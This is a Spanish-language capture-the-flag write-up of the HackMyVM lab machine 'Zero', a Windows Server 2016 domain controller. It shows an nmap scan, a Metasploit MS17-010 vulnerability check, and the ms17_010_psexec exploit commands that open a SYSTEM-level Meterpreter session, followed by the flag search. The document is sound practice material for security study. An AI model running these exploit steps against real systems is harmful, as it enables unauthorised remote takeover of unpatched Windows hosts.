cd ~/blog

~/writeups/hmv/114-zero.md

114 - Zero

easy Windows hmvautor: Jordy Pérez Osorio aviso legal
MS17-010 SMB Remote Code ExecutionRemote Code Execution como NT AUTHORITY\SYSTEM
hackmyvm.eu/machines/machine.php?vm=Zero

~1 min de lectura


Enumeración de servicios

El escaneo dirigido muestra los servicios típicos de un controlador de dominio de Active Directory: DNS (53), Kerberos (88), LDAP (389) y SMB (445). Nmap identifica además el dominio zero.hmv, el hostname DC01 y Windows Server 2016 como sistema operativo:

❯ sudo nmap -sCV -Pn -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49667,49670,49671,49694 -oN 02-targeted.txt 192.168.1.29
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-11 14:00 -04
Nmap scan report for 192.168.1.29
Host is up (0.00051s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: zero.hmv, ...)
445/tcp   open  microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ZERO)
...
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2016 Standard Evaluation 14393 ...
|   Computer name: DC01
|   Domain name: zero.hmv
|_  FQDN: DC01.zero.hmv
...

La presencia de SMB no implica por sí sola que el host sea vulnerable. Antes de explotar, utilizamos el módulo auxiliar de Metasploit para comprobar si el servicio está afectado por MS17-010. El boletín agrupa varias vulnerabilidades de SMB, entre ellas CVE-2017-0143; el resultado del scanner confirma exposición al boletín, pero no atribuye el host a un CVE individual:

msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.29
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.1.29:445      - Host is likely VULNERABLE to MS17-010! - Windows Server 2016 Standard Evaluation 14393 x64 (64-bit)

El resultado Host is likely VULNERABLE relaciona la versión detectada con MS17-010 y justifica pasar a la explotación.

Explotación de MS17-010

Usamos ms17_010_psexec, que combina la explotación de SMB con la ejecución remota de una carga útil. Configuramos la IP objetivo y el puerto local de retorno; si el ataque funciona, no necesitamos credenciales previas:

msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.1.29
msf6 exploit(windows/smb/ms17_010_psexec) > set lport 1234
msf6 exploit(windows/smb/ms17_010_psexec) > run

[+] 192.168.1.29:445 - Overwrite complete... SYSTEM session obtained!
[*] Meterpreter session 1 opened ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

getuid devuelve NT AUTHORITY\SYSTEM, la cuenta local con mayores privilegios del sistema. Por eso esta cadena no requiere una fase adicional de escalada.

Recuperación de las flags

Desde la sesión privilegiada buscamos recursivamente los archivos user.txt y root.txt. La opción /s recorre los subdirectorios y /b muestra únicamente las rutas, lo que evita revisar manualmente cada perfil:

C:\>dir /s /b "user.txt"
C:\Users\ruycr4ft\Desktop\user.txt

C:\>dir /s /b "root.txt"
C:\Users\Administrator\Desktop\root.txt

Las rutas confirman que la flag de usuario pertenece a ruycr4ft y la final al perfil de Administrator. Recuperamos ambas y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados